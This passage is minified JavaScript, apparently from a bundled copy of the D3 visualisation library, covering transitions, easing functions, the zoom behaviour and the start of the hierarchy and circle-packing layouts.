_n(t,n){var e=xn(t,n);if(e.state>hn)throw new Error(\"too late; already scheduled\");return e}function wn(t,n){var e=xn(t,n);if(e.state>dn)throw new Error(\"too late; already running\");return e}function xn(t,n){var e=t.__transition;if(!e||!(e=e[n]))throw new Error(\"transition not found\");return e}var bn=function(t,n){var e,r,i,o=t.__transition,u=!0;if(o){for(i in n=null==n?null:n+\"\",o)(e=o[i]).name===n?(r=e.state>pn&&e.state<yn,e.state=mn,e.timer.stop(),e.on.call(r?\"interrupt\":\"cancel\",t,t.__data__,e.index,e.group),delete o[i]):u=!1;u&&delete t.__transition}};function Mn(t,n,e){var r=t._id;return t.each(function(){var t=wn(this,r);(t.value||(t.value={}))[n]=e.apply(this,arguments)}),function(t){return xn(t,r).value[n]}}var kn=function(t,n){var e;return(\"number\"==typeof n?Mt:n instanceof S?xt:(e=S(n))?(n=e,xt):Ot)(t,n)};var An=s.selection.prototype.constructor;function zn(t){return function(){this.style.removeProperty(t)}}var Nn=0;function En(t,n,e,r){this._groups=t,this._parents=n,this._name=e,this._id=r}function Sn(){return++Nn}var On=s.selection.prototype;En.prototype=function(t){return Object(s.selection)().transition(t)}.prototype={constructor:En,select:function(t){var n=this._name,e=this._id;\"function\"!=typeof t&&(t=Object(s.selector)(t));for(var r=this._groups,i=r.length,o=new Array(i),u=0;u<i;++u)for(var a,c,l=r[u],h=l.length,f=o[u]=new Array(h),p=0;p<h;++p)(a=l[p])&&(c=t.call(a,a.__data__,p,l))&&(\"__data__\"in a&&(c.__data__=a.__data__),f[p]=c,gn(f[p],n,e,p,f,xn(a,e)));return new En(o,this._parents,n,e)},selectAll:function(t){var n=this._name,e=this._id;\"function\"!=typeof t&&(t=Object(s.selectorAll)(t));for(var r=this._groups,i=r.length,o=[],u=[],a=0;a<i;++a)for(var c,l=r[a],h=l.length,f=0;f<h;++f)if(c=l[f]){for(var p,d=t.call(c,c.__data__,f,l),v=xn(c,e),y=0,m=d.length;y<m;++y)(p=d[y])&&gn(p,n,e,y,d,v);o.push(d),u.push(c)}return new En(o,u,n,e)},filter:function(t){\"function\"!=typeof t&&(t=Object(s.matcher)(t));for(var n=this._groups,e=n.length,r=new Array(e),i=0;i<e;++i)for(var o,u=n[i],a=u.length,c=r[i]=[],l=0;l<a;++l)(o=u[l])&&t.call(o,o.__data__,l,u)&&c.push(o);return new En(r,this._parents,this._name,this._id)},merge:function(t){if(t._id!==this._id)throw new Error;for(var n=this._groups,e=t._groups,r=n.length,i=e.length,o=Math.min(r,i),u=new Array(r),a=0;a<o;++a)for(var c,s=n[a],l=e[a],h=s.length,f=u[a]=new Array(h),p=0;p<h;++p)(c=s[p]||l[p])&&(f[p]=c);for(;a<r;++a)u[a]=n[a];return new En(u,this._parents,this._name,this._id)},selection:function(){return new An(this._groups,this._parents)},transition:function(){for(var t=this._name,n=this._id,e=Sn(),r=this._groups,i=r.length,o=0;o<i;++o)for(var u,a=r[o],c=a.length,s=0;s<c;++s)if(u=a[s]){var l=xn(u,n);gn(u,t,e,s,a,{time:l.time+l.delay+l.duration,delay:0,duration:l.duration,ease:l.ease})}return new En(r,this._parents,t,e)},call:On.call,nodes:On.nodes,node:On.node,size:On.size,empty:On.empty,each:On.each,on:function(t,n){var e=this._id;return arguments.length<2?xn(this.node(),e).on.on(t):this.each(function(t,n,e){var r,i,o=function(t){return(t+\"\").trim().split(/^|\\s+/).every(function(t){var n=t.indexOf(\".\");return n>=0&&(t=t.slice(0,n)),!t||\"start\"===t})}(n)?_n:wn;return function(){var u=o(this,t),a=u.on;a!==r&&(i=(r=a).copy()).on(n,e),u.on=i}}(e,t,n))},attr:function(t,n){var e=Object(s.namespace)(t),r=\"transform\"===e?Bt:kn;return this.attrTween(t,\"function\"==typeof n?(e.local?function(t,n,e){var r,i,o;return function(){var u,a,c=e(this);if(null!=c)return(u=this.getAttributeNS(t.space,t.local))===(a=c+\"\")?null:u===r&&a===i?o:(i=a,o=n(r=u,c));this.removeAttributeNS(t.space,t.local)}}:function(t,n,e){var r,i,o;return function(){var u,a,c=e(this);if(null!=c)return(u=this.getAttribute(t))===(a=c+\"\")?null:u===r&&a===i?o:(i=a,o=n(r=u,c));this.removeAttribute(t)}})(e,r,Mn(this,\"attr.\"+t,n)):null==n?(e.local?function(t){return function(){this.removeAttributeNS(t.space,t.local)}}:function(t){return function(){this.removeAttribute(t)}})(e):(e.local?function(t,n,e){var r,i,o=e+\"\";return function(){var u=this.getAttributeNS(t.space,t.local);return u===o?null:u===r?i:i=n(r=u,e)}}:function(t,n,e){var r,i,o=e+\"\";return function(){var u=this.getAttribute(t);return u===o?null:u===r?i:i=n(r=u,e)}})(e,r,n))},attrTween:function(t,n){var e=\"attr.\"+t;if(arguments.length<2)return(e=this.tween(e))&&e._value;if(null==n)return this.tween(e,null);if(\"function\"!=typeof n)throw new Error;var r=Object(s.namespace)(t);return this.tween(e,(r.local?function(t,n){var e,r;function i(){var i=n.apply(this,arguments);return i!==r&&(e=(r=i)&&function(t,n){return function(e){this.setAttributeNS(t.space,t.local,n(e))}}(t,i)),e}return i._value=n,i}:function(t,n){var e,r;function i(){var i=n.apply(this,arguments);return i!==r&&(e=(r=i)&&function(t,n){return function(e){this.setAttribute(t,n(e))}}(t,i)),e}return i._value=n,i})(r,n))},style:function(t,n,e){var r=\"transform\"==(t+=\"\")?qt:kn;return null==n?this.styleTween(t,function(t,n){var e,r,i;return function(){var o=Object(s.style)(this,t),u=(this.style.removeProperty(t),Object(s.style)(this,t));return o===u?null:o===e&&u===r?i:i=n(e=o,r=u)}}(t,r)).on(\"end.style.\"+t,zn(t)):\"function\"==typeof n?this.styleTween(t,function(t,n,e){var r,i,o;return function(){var u=Object(s.style)(this,t),a=e(this),c=a+\"\";return null==a&&(this.style.removeProperty(t),c=a=Object(s.style)(this,t)),u===c?null:u===r&&c===i?o:(i=c,o=n(r=u,a))}}(t,r,Mn(this,\"style.\"+t,n))).each(function(t,n){var e,r,i,o,u=\"style.\"+n,a=\"end.\"+u;return function(){var c=wn(this,t),s=c.on,l=null==c.value[u]?o||(o=zn(n)):void 0;s===e&&i===l||(r=(e=s).copy()).on(a,i=l),c.on=r}}(this._id,t)):this.styleTween(t,function(t,n,e){var r,i,o=e+\"\";return function(){var u=Object(s.style)(this,t);return u===o?null:u===r?i:i=n(r=u,e)}}(t,r,n),e).on(\"end.style.\"+t,null)},styleTween:function(t,n,e){var r=\"style.\"+(t+=\"\");if(arguments.length<2)return(r=this.tween(r))&&r._value;if(null==n)return this.tween(r,null);if(\"function\"!=typeof n)throw new Error;return this.tween(r,function(t,n,e){var r,i;function o(){var o=n.apply(this,arguments);return o!==i&&(r=(i=o)&&function(t,n,e){return function(r){this.style.setProperty(t,n(r),e)}}(t,o,e)),r}return o._value=n,o}(t,n,null==e?\"\":e))},text:function(t){return this.tween(\"text\",\"function\"==typeof t?function(t){return function(){var n=t(this);this.textContent=null==n?\"\":n}}(Mn(this,\"text\",t)):function(t){return function(){this.textContent=t}}(null==t?\"\":t+\"\"))},remove:function(){return this.on(\"end.remove\",(t=this._id,function(){var n=this.parentNode;for(var e in this.__transition)if(+e!==t)return;n&&n.removeChild(this)}));var t},tween:function(t,n){var e=this._id;if(t+=\"\",arguments.length<2){for(var r,i=xn(this.node(),e).tween,o=0,u=i.length;o<u;++o)if((r=i[o]).name===t)return r.value;return null}return this.each((null==n?function(t,n){var e,r;return function(){var i=wn(this,t),o=i.tween;if(o!==e)for(var u=0,a=(r=e=o).length;u<a;++u)if(r[u].name===n){(r=r.slice()).splice(u,1);break}i.tween=r}}:function(t,n,e){var r,i;if(\"function\"!=typeof e)throw new Error;return function(){var o=wn(this,t),u=o.tween;if(u!==r){i=(r=u).slice();for(var a={name:n,value:e},c=0,s=i.length;c<s;++c)if(i[c].name===n){i[c]=a;break}c===s&&i.push(a)}o.tween=i}})(e,t,n))},delay:function(t){var n=this._id;return arguments.length?this.each((\"function\"==typeof t?function(t,n){return function(){_n(this,t).delay=+n.apply(this,arguments)}}:function(t,n){return n=+n,function(){_n(this,t).delay=n}})(n,t)):xn(this.node(),n).delay},duration:function(t){var n=this._id;return arguments.length?this.each((\"function\"==typeof t?function(t,n){return function(){wn(this,t).duration=+n.apply(this,arguments)}}:function(t,n){return n=+n,function(){wn(this,t).duration=n}})(n,t)):xn(this.node(),n).duration},ease:function(t){var n=this._id;return arguments.length?this.each(function(t,n){if(\"function\"!=typeof n)throw new Error;return function(){wn(this,t).ease=n}}(n,t)):xn(this.node(),n).ease},end:function(){var t,n,e=this,r=e._id,i=e.size();return new Promise(function(o,u){var a={value:u},c={value:function(){0==--i&&o()}};e.each(function(){var e=wn(this,r),i=e.on;i!==t&&((n=(t=i).copy())._.cancel.push(a),n._.interrupt.push(a),n._.end.push(c)),e.on=n})})}};(function t(n){function e(t){return Math.pow(t,n)}return n=+n,e.exponent=t,e})(3),function t(n){function e(t){return 1-Math.pow(1-t,n)}return n=+n,e.exponent=t,e}(3),function t(n){function e(t){return((t*=2)<=1?Math.pow(t,n):2-Math.pow(2-t,n))/2}return n=+n,e.exponent=t,e}(3),Math.PI;(function t(n){function e(t){return t*t*((n+1)*t-n)}return n=+n,e.overshoot=t,e})(1.70158),function t(n){function e(t){return--t*t*((n+1)*t+n)+1}return n=+n,e.overshoot=t,e}(1.70158),function t(n){function e(t){return((t*=2)<1?t*t*((n+1)*t-n):(t-=2)*t*((n+1)*t+n)+2)/2}return n=+n,e.overshoot=t,e}(1.70158);var jn=2*Math.PI,Pn=(function t(n,e){var r=Math.asin(1/(n=Math.max(1,n)))*(e/=jn);function i(t){return n*Math.pow(2,10*--t)*Math.sin((r-t)/e)}return i.amplitude=function(n){return t(n,e*jn)},i.period=function(e){return t(n,e)},i}(1,.3),function t(n,e){var r=Math.asin(1/(n=Math.max(1,n)))*(e/=jn);function i(t){return 1-n*Math.pow(2,-10*(t=+t))*Math.sin((t+r)/e)}return i.amplitude=function(n){return t(n,e*jn)},i.period=function(e){return t(n,e)},i}(1,.3),function t(n,e){var r=Math.asin(1/(n=Math.max(1,n)))*(e/=jn);function i(t){return((t=2*t-1)<0?n*Math.pow(2,10*t)*Math.sin((r-t)/e):2-n*Math.pow(2,-10*t)*Math.sin((r+t)/e))/2}return i.amplitude=function(n){return t(n,e*jn)},i.period=function(e){return t(n,e)},i}(1,.3),{time:null,delay:0,duration:250,ease:function(t){return((t*=2)<=1?t*t*t:(t-=2)*t*t+2)/2}});function Tn(t,n){for(var e;!(e=t.__transition)||!(e=e[n]);)if(!(t=t.parentNode))return Pn.time=tn(),Pn;return e}s.selection.prototype.interrupt=function(t){return this.each(function(){bn(this,t)})},s.selection.prototype.transition=function(t){var n,e;t instanceof En?(n=t._id,t=t._name):(n=Sn(),(e=Pn).time=tn(),t=null==t?null:t+\"\");for(var r=this._groups,i=r.length,o=0;o<i;++o)for(var u,a=r[o],c=a.length,s=0;s<c;++s)(u=a[s])&&gn(u,t,n,s,a,e||Tn(u,n));return new En(r,this._parents,t,n)};var Ln=function(t){return function(){return t}};function qn(t,n,e){this.target=t,this.type=n,this.transform=e}function Bn(t,n,e){this.k=t,this.x=n,this.y=e}Bn.prototype={constructor:Bn,scale:function(t){return 1===t?this:new Bn(this.k*t,this.x,this.y)},translate:function(t,n){return 0===t&0===n?this:new Bn(this.k,this.x+this.k*t,this.y+this.k*n)},apply:function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},applyX:function(t){return t*this.k+this.x},applyY:function(t){return t*this.k+this.y},invert:function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},invertX:function(t){return(t-this.x)/this.k},invertY:function(t){return(t-this.y)/this.k},rescaleX:function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},rescaleY:function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},toString:function(){return\"translate(\"+this.x+\",\"+this.y+\") scale(\"+this.k+\")\"}};var In=new Bn(1,0,0);function Cn(t){return t.__zoom||In}function Dn(){s.event.stopImmediatePropagation()}Cn.prototype=Bn.prototype;var Hn=function(){s.event.preventDefault(),s.event.stopImmediatePropagation()};function Xn(){return!s.event.button}function Yn(){var t,n,e=this;return e instanceof SVGElement?(t=(e=e.ownerSVGElement||e).width.baseVal.value,n=e.height.baseVal.value):(t=e.clientWidth,n=e.clientHeight),[[0,0],[t,n]]}function Rn(){return this.__zoom||In}function Vn(){return-s.event.deltaY*(s.event.deltaMode?120:1)/500}function Wn(){return\"ontouchstart\"in this}function Fn(t,n,e){var r=t.invertX(n[0][0])-e[0][0],i=t.invertX(n[1][0])-e[1][0],o=t.invertY(n[0][1])-e[0][1],u=t.invertY(n[1][1])-e[1][1];return t.translate(i>r?(r+i)/2:Math.min(0,r)||Math.max(0,i),u>o?(o+u)/2:Math.min(0,o)||Math.max(0,u))}var Un=function(){var t,n,e=Xn,r=Yn,i=Fn,o=Vn,u=Wn,a=[0,1/0],l=[[-1/0,-1/0],[1/0,1/0]],p=250,d=Dt,v=[],y=c(\"start\",\"zoom\",\"end\"),m=500,g=150,_=0;function w(t){t.property(\"__zoom\",Rn).on(\"wheel.zoom\",N).on(\"mousedown.zoom\",E).on(\"dblclick.zoom\",S).filter(u).on(\"touchstart.zoom\",O).on(\"touchmove.zoom\",j).on(\"touchend.zoom touchcancel.zoom\",P).style(\"touch-action\",\"none\").style(\"-webkit-tap-highlight-color\",\"rgba(0,0,0,0)\")}function x(t,n){return(n=Math.max(a[0],Math.min(a[1],n)))===t.k?t:new Bn(n,t.x,t.y)}function b(t,n,e){var r=n[0]-e[0]*t.k,i=n[1]-e[1]*t.k;return r===t.x&&i===t.y?t:new Bn(t.k,r,i)}function M(t){return[(+t[0][0]+ +t[1][0])/2,(+t[0][1]+ +t[1][1])/2]}function k(t,n,e){t.on(\"start.zoom\",function(){A(this,arguments).start()}).on(\"interrupt.zoom end.zoom\",function(){A(this,arguments).end()}).tween(\"zoom\",function(){var t=arguments,i=A(this,t),o=r.apply(this,t),u=e||M(o),a=Math.max(o[1][0]-o[0][0],o[1][1]-o[0][1]),c=this.__zoom,s=\"function\"==typeof n?n.apply(this,t):n,l=d(c.invert(u).concat(a/c.k),s.invert(u).concat(a/s.k));return function(t){if(1===t)t=s;else{var n=l(t),e=a/n[2];t=new Bn(e,u[0]-n[0]*e,u[1]-n[1]*e)}i.zoom(null,t)}})}function A(t,n){for(var e,r=0,i=v.length;r<i;++r)if((e=v[r]).that===t)return e;return new z(t,n)}function z(t,n){this.that=t,this.args=n,this.index=-1,this.active=0,this.extent=r.apply(t,n)}function N(){if(e.apply(this,arguments)){var t=A(this,arguments),n=this.__zoom,r=Math.max(a[0],Math.min(a[1],n.k*Math.pow(2,o.apply(this,arguments)))),u=Object(s.mouse)(this);if(t.wheel)t.mouse[0][0]===u[0]&&t.mouse[0][1]===u[1]||(t.mouse[1]=n.invert(t.mouse[0]=u)),clearTimeout(t.wheel);else{if(n.k===r)return;t.mouse=[u,n.invert(u)],bn(this),t.start()}Hn(),t.wheel=setTimeout(function(){t.wheel=null,t.end()},g),t.zoom(\"mouse\",i(b(x(n,r),t.mouse[0],t.mouse[1]),t.extent,l))}}function E(){if(!n&&e.apply(this,arguments)){var t=A(this,arguments),r=Object(s.select)(s.event.view).on(\"mousemove.zoom\",function(){if(Hn(),!t.moved){var n=s.event.clientX-u,e=s.event.clientY-a;t.moved=n*n+e*e>_}t.zoom(\"mouse\",i(b(t.that.__zoom,t.mouse[0]=Object(s.mouse)(t.that),t.mouse[1]),t.extent,l))},!0).on(\"mouseup.zoom\",function(){r.on(\"mousemove.zoom mouseup.zoom\",null),f(s.event.view,t.moved),Hn(),t.end()},!0),o=Object(s.mouse)(this),u=s.event.clientX,a=s.event.clientY;h(s.event.view),Dn(),t.mouse=[o,this.__zoom.invert(o)],bn(this),t.start()}}function S(){if(e.apply(this,arguments)){var t=this.__zoom,n=Object(s.mouse)(this),o=t.invert(n),u=t.k*(s.event.shiftKey?.5:2),a=i(b(x(t,u),n,o),r.apply(this,arguments),l);Hn(),p>0?Object(s.select)(this).transition().duration(p).call(k,a,n):Object(s.select)(this).call(w.transform,a)}}function O(){if(e.apply(this,arguments)){var n,r,i,o,u=A(this,arguments),a=s.event.changedTouches,c=a.length;for(Dn(),r=0;r<c;++r)i=a[r],o=[o=Object(s.touch)(this,a,i.identifier),this.__zoom.invert(o),i.identifier],u.touch0?u.touch1||(u.touch1=o):(u.touch0=o,n=!0);if(t&&(t=clearTimeout(t),!u.touch1))return u.end(),void((o=Object(s.select)(this).on(\"dblclick.zoom\"))&&o.apply(this,arguments));n&&(t=setTimeout(function(){t=null},m),bn(this),u.start())}}function j(){var n,e,r,o,u=A(this,arguments),a=s.event.changedTouches,c=a.length;for(Hn(),t&&(t=clearTimeout(t)),n=0;n<c;++n)e=a[n],r=Object(s.touch)(this,a,e.identifier),u.touch0&&u.touch0[2]===e.identifier?u.touch0[0]=r:u.touch1&&u.touch1[2]===e.identifier&&(u.touch1[0]=r);if(e=u.that.__zoom,u.touch1){var h=u.touch0[0],f=u.touch0[1],p=u.touch1[0],d=u.touch1[1],v=(v=p[0]-h[0])*v+(v=p[1]-h[1])*v,y=(y=d[0]-f[0])*y+(y=d[1]-f[1])*y;e=x(e,Math.sqrt(v/y)),r=[(h[0]+p[0])/2,(h[1]+p[1])/2],o=[(f[0]+d[0])/2,(f[1]+d[1])/2]}else{if(!u.touch0)return;r=u.touch0[0],o=u.touch0[1]}u.zoom(\"touch\",i(b(e,r,o),u.extent,l))}function P(){var t,e,r=A(this,arguments),i=s.event.changedTouches,o=i.length;for(Dn(),n&&clearTimeout(n),n=setTimeout(function(){n=null},m),t=0;t<o;++t)e=i[t],r.touch0&&r.touch0[2]===e.identifier?delete r.touch0:r.touch1&&r.touch1[2]===e.identifier&&delete r.touch1;r.touch1&&!r.touch0&&(r.touch0=r.touch1,delete r.touch1),r.touch0?r.touch0[1]=this.__zoom.invert(r.touch0[0]):r.end()}return w.transform=function(t,n){var e=t.selection?t.selection():t;e.property(\"__zoom\",Rn),t!==e?k(t,n):e.interrupt().each(function(){A(this,arguments).start().zoom(null,\"function\"==typeof n?n.apply(this,arguments):n).end()})},w.scaleBy=function(t,n){w.scaleTo(t,function(){return this.__zoom.k*(\"function\"==typeof n?n.apply(this,arguments):n)})},w.scaleTo=function(t,n){w.transform(t,function(){var t=r.apply(this,arguments),e=this.__zoom,o=M(t),u=e.invert(o),a=\"function\"==typeof n?n.apply(this,arguments):n;return i(b(x(e,a),o,u),t,l)})},w.translateBy=function(t,n,e){w.transform(t,function(){return i(this.__zoom.translate(\"function\"==typeof n?n.apply(this,arguments):n,\"function\"==typeof e?e.apply(this,arguments):e),r.apply(this,arguments),l)})},w.translateTo=function(t,n,e){w.transform(t,function(){var t=r.apply(this,arguments),o=this.__zoom,u=M(t);return i(In.translate(u[0],u[1]).scale(o.k).translate(\"function\"==typeof n?-n.apply(this,arguments):-n,\"function\"==typeof e?-e.apply(this,arguments):-e),t,l)})},z.prototype={start:function(){return 1==++this.active&&(this.index=v.push(this)-1,this.emit(\"start\")),this},zoom:function(t,n){return this.mouse&&\"mouse\"!==t&&(this.mouse[1]=n.invert(this.mouse[0])),this.touch0&&\"touch\"!==t&&(this.touch0[1]=n.invert(this.touch0[0])),this.touch1&&\"touch\"!==t&&(this.touch1[1]=n.invert(this.touch1[0])),this.that.__zoom=n,this.emit(\"zoom\"),this},end:function(){return 0==--this.active&&(v.splice(this.index,1),this.index=-1,this.emit(\"end\")),this},emit:function(t){Object(s.customEvent)(new qn(w,t,this.that.__zoom),y.apply,y,[t,this.that,this.args])}},w.wheelDelta=function(t){return arguments.length?(o=\"function\"==typeof t?t:Ln(+t),w):o},w.filter=function(t){return arguments.length?(e=\"function\"==typeof t?t:Ln(!!t),w):e},w.touchable=function(t){return arguments.length?(u=\"function\"==typeof t?t:Ln(!!t),w):u},w.extent=function(t){return arguments.length?(r=\"function\"==typeof t?t:Ln([[+t[0][0],+t[0][1]],[+t[1][0],+t[1][1]]]),w):r},w.scaleExtent=function(t){return arguments.length?(a[0]=+t[0],a[1]=+t[1],w):[a[0],a[1]]},w.translateExtent=function(t){return arguments.length?(l[0][0]=+t[0][0],l[1][0]=+t[1][0],l[0][1]=+t[0][1],l[1][1]=+t[1][1],w):[[l[0][0],l[0][1]],[l[1][0],l[1][1]]]},w.constrain=function(t){return arguments.length?(i=t,w):i},w.duration=function(t){return arguments.length?(p=+t,w):p},w.interpolate=function(t){return arguments.length?(d=t,w):d},w.on=function(){var t=y.on.apply(y,arguments);return t===y?w:t},w.clickDistance=function(t){return arguments.length?(_=(t=+t)*t,w):Math.sqrt(_)},w};e.d(n,\"zoom\",function(){return Un}),e.d(n,\"zoomTransform\",function(){return Cn}),e.d(n,\"zoomIdentity\",function(){return In})},function(t,n,e){\"use strict\";function r(t,n){return t.parent===n.parent?1:2}function i(t,n){return t+n.x}function o(t,n){return Math.max(t,n.y)}e.r(n);var u=function(){var t=r,n=1,e=1,u=!1;function a(r){var a,c=0;r.eachAfter(function(n){var e=n.children;e?(n.x=function(t){return t.reduce(i,0)/t.length}(e),n.y=function(t){return 1+t.reduce(o,0)}(e)):(n.x=a?c+=t(n,a):0,n.y=0,a=n)});var s=function(t){for(var n;n=t.children;)t=n[0];return t}(r),l=function(t){for(var n;n=t.children;)t=n[n.length-1];return t}(r),h=s.x-t(s,l)/2,f=l.x+t(l,s)/2;return r.eachAfter(u?function(t){t.x=(t.x-r.x)*n,t.y=(r.y-t.y)*e}:function(t){t.x=(t.x-h)/(f-h)*n,t.y=(1-(r.y?t.y/r.y:1))*e})}return a.separation=function(n){return arguments.length?(t=n,a):t},a.size=function(t){return arguments.length?(u=!1,n=+t[0],e=+t[1],a):u?null:[n,e]},a.nodeSize=function(t){return arguments.length?(u=!0,n=+t[0],e=+t[1],a):u?[n,e]:null},a};function a(t){var n=0,e=t.children,r=e&&e.length;if(r)for(;--r>=0;)n+=e[r].value;else n=1;t.value=n}function c(t,n){var e,r,i,o,u,a=new f(t),c=+t.value&&(a.value=t.value),l=[a];for(null==n&&(n=s);e=l.pop();)if(c&&(e.value=+e.data.value),(i=n(e.data))&&(u=i.length))for(e.children=new Array(u),o=u-1;o>=0;--o)l.push(r=e.children[o]=new f(i[o])),r.parent=e,r.depth=e.depth+1;return a.eachBefore(h)}function s(t){return t.children}function l(t){t.data=t.data.data}function h(t){var n=0;do{t.height=n}while((t=t.parent)&&t.height<++n)}function f(t){this.data=t,this.depth=this.height=0,this.parent=null}f.prototype=c.prototype={constructor:f,count:function(){return this.eachAfter(a)},each:function(t){var n,e,r,i,o=this,u=[o];do{for(n=u.reverse(),u=[];o=n.pop();)if(t(o),e=o.children)for(r=0,i=e.length;r<i;++r)u.push(e[r])}while(u.length);return this},eachAfter:function(t){for(var n,e,r,i=this,o=[i],u=[];i=o.pop();)if(u.push(i),n=i.children)for(e=0,r=n.length;e<r;++e)o.push(n[e]);for(;i=u.pop();)t(i);return this},eachBefore:function(t){for(var n,e,r=this,i=[r];r=i.pop();)if(t(r),n=r.children)for(e=n.length-1;e>=0;--e)i.push(n[e]);return this},sum:function(t){return this.eachAfter(function(n){for(var e=+t(n.data)||0,r=n.children,i=r&&r.length;--i>=0;)e+=r[i].value;n.value=e})},sort:function(t){return this.eachBefore(function(n){n.children&&n.children.sort(t)})},path:function(t){for(var n=this,e=function(t,n){if(t===n)return t;var e=t.ancestors(),r=n.ancestors(),i=null;for(t=e.pop(),n=r.pop();t===n;)i=t,t=e.pop(),n=r.pop();return i}(n,t),r=[n];n!==e;)n=n.parent,r.push(n);for(var i=r.length;t!==e;)r.splice(i,0,t),t=t.parent;return r},ancestors:function(){for(var t=this,n=[t];t=t.parent;)n.push(t);return n},descendants:function(){var t=[];return this.each(function(n){t.push(n)}),t},leaves:function(){var t=[];return this.eachBefore(function(n){n.children||t.push(n)}),t},links:function(){var t=this,n=[];return t.each(function(e){e!==t&&n.push({source:e.parent,target:e})}),n},copy:function(){return c(this).eachBefore(l)}};var p=Array.prototype.slice;var d=function(t){for(var n,e,r=0,i=(t=function(t){for(var n,e,r=t.length;r;)e=Math.random()*r--|0,n=t[r],t[r]=t[e],t[e]=n;return t}(p.call(t))).length,o=[];r<i;)n=t[r],e&&m(e,n)?++r:(e=_(o=v(o,n)),r=0);return e};function v(t,n){var e,r;if(g(n,t))return[n];for(e=0;e<t.length;++e)if(y(n,t[e])&&g(w(t[e],n),t))return[t[e],n];for(e=0;e<t.length-1;++e)for(r=e+1;r<t.length;++r)if(y(w(t[e],t[r]),n)&&y(w(t[e],n),t[r])&&y(w(t[r],n),t[e])&&g(x(t[e],t[r],n),t))return[t[e],t[r],n];throw new Error}function y(t,n){var e=t.r-n.r,r=n.x-t.x,i=n.y-t.y;return e<0||e*e<r*r+i*i}function m(t,n){var e=t.r-n.r+1e-6,r=n.x-t.x,i=n.y-t.y;return e>0&&e*e>r*r+i*i}function g(t,n){for(var e=0;e<n.length;++e)if(!m(t,n[e]))return!1;return!0}function _(t){switch(t.length){case 1:return{x:(n=t[0]).x,y:n.y,r:n.r};case 2:return w(t[0],t[1]);case 3:return x(t[0],t[1],t[2])}var n}function w(t,n){var e=t.x,r=t.y,i=t.r,o=n.x,u=n.y,a=n.r,c=o-e,s=u-r,l=a-i,h=Math.sqrt(c*c+s*s);return{x:(e+o+c/h*l)/2,y:(r+u+s/h*l)/2,r:(h+i+a)/2}}function x(t,n,e){var r=t.x,i=t.y,o=t.r,u=n.x,a=n.y,c=n.r,s=e.x,l=e.y,h=e.r,f=r-u,p=r-s,d=i-a,v=i-l,y=c-o,m=h-o,g=r*r+i*i-o*o,_=g-u*u-a*a+c*c,w=g-s*s-l*l+h*h,x=p*d-f*v,b=(d*w-v*_)/(2*x)-r,M=(v*y-d*m)/x,k=(p*_-f*w)/(2*x)-i,A=(f*m-p*y)/x,z=M*M+A*A-1,N=2*(o+b*M+k*A),E=b*b+k*k-o*o,S=-(z?(N+Math.sqrt(N*N-4*z*E))/(2*z):E/N);return{x:r+b+M*S,y:i+k+A*S,r:S}}function b(t,n,e){var r,i,o,u,a=t.x-n.x,c=t.y-n.y,s=a*a+c*c;s?(i=n.r+e.r,i*=i,u=t.r+e.r,i>(u*=u)?(r=(s+u-i)/(2*s),o=Math.sqrt(Math.max(0,u/s-r*r)),e.x=t.x-r*a-o*c,e.y=t.y-r*c+o*a):(r=(s+i-u)/(2*s),o=Math.sqrt(Math.max(0,i/s-r*r)),e.x=n.x+r*a-o*c,e.y=n.y+r*c+o*a)):(e.x=n.x+e.r,e.y=n.y)}function M(t,n){var e=t.r+n.r-1e-6,r=n.x-t.x,i=n.y-t.y;return e>0&&e*e>r*r+i*i}function k(t){var n=t._,e=t.next._,r=n.r+e.r,i=(n.x*e.r+e.x*n.r)/r,o=(n.y*e.r+e.y*n.r)/r;return i*i+o*o}function A(t){this._=t,this.next=null,this.previous=null}function z(t){if(!(i=t.length))return 0;var n,e,r,i,o,u,a,c,s,l,h;if((n=t[0]).x=0,n.y=0,!(i>1))return n.r;if(e=t[1],n.x=-e.r,e.x=n.r,e.y=0,!(i>2))return n.r+e.r;b(e,n,r=t[2]),n=new A(n),e=new A(e),r=new A(r),n.next=r.previous=e,e.next=n.previous=r,r.next=e.previous=n;t:for(a=3;a<i;++a){b(n._,e._,r=t[a]),r=new A(r),c=e.next,s=n.previous,l=e._.r,h=n._.r;do{if(l<=h){if(M(c._,r._)){e=c,n.next=e,e.previous=n,--a;continue t}l+=c._.r,c=c.next}else{if(M(s._,r._)){(n=s).next=e,e.previous=n,--a;continue t}h+=s._.r,s=s.previous}}while(c!==s.next);for(r.previous=n,r.next=e,n.next=e.previous=e=r,o=k(n);(r=r.next)!==e;)(u=k(r))<o&&(n=r,o=u);e=n.next}for(n=[e._],r=e;(r=r.next)!==e;)n.push(r._);for(r=d(n),a=0;a<i;++a)(n=t[a]).x-=r.x,n.y-=r.y;return r.r}var N=function(t){return z(t),t};function E(t){if(\"function\"!=typeof t)throw new Error;return t}function S(){return 0}var O=function(t){return function(){return t}};function j(t){return Math.sqrt(t.value)}var P=function(){var t=null,n=1,e=1,r=S;function i(i){return i.x=n/2,i.y=e/2,t?i.eachBefore(T(t)).eachAfter(L(r,.5)).eachBefore(q(1)):i.eachBefore(T(j)).eachAfter(L(S,1)).eachAfter(L(r,i.r/Math.min(n,e))).eachBefore(q(Math.min(n,e)/(2*i.r))),i}return i.radius=function(n){return arguments.length?(t=null==(e=n)?null:E(e),i):t;var e},i.size=function(t){return arguments.length?(n=+t[0],e=+t[1],i):[n,e]},i.padding=function(t){return arguments.length?(r=\"function\"==typeof t?t:O(+t),i):r},i};function T(t){return function(n){n.children||(n.r=Math.max(0,+t(n)||0))}}function L(t,n){return function(e){if(r=e.children){var r,i,o,u=r.length,a=t(e)*n||0;if(a)for(i=0;i<u;++i)r[i].r+=a;if(o=z(r),a)for(i=0;i<u;++i)r[i].r-=a;e.r=o+a}}}function q(t){return function(n){var e=n.parent;n.r*=t,e&&(n.x=e.x+t*n.x,n.y=e.y+t*n.y)}}var B=function(t){t.x0=Math.round(t.x0),t.y0=Math.round(t.y0),t.x1=Math.round(t.x1),t.y1=Math.round(t.y1)},I=function(t,n,e,r,i){for(var o,u=t.children,a=-1,c=u.length,s=t.value&&(r-n)/t.value;++a<c;)(o=u[a]).y0=e,o.y1=i,o.x0=n,o.x1=n+=o.value*s},C=function(){var t=1,n=1,e=0,r=!1;function i(i){var o=i.height+1;return i.x0=i.y0=e,i.x1=t,i.y1=n/o,i.eachBefore(function(t,n){return function(r){r.children&&I(r,r.x0,t*(r.depth+1)/n,r.x1,t*(r.depth+2)/n);var 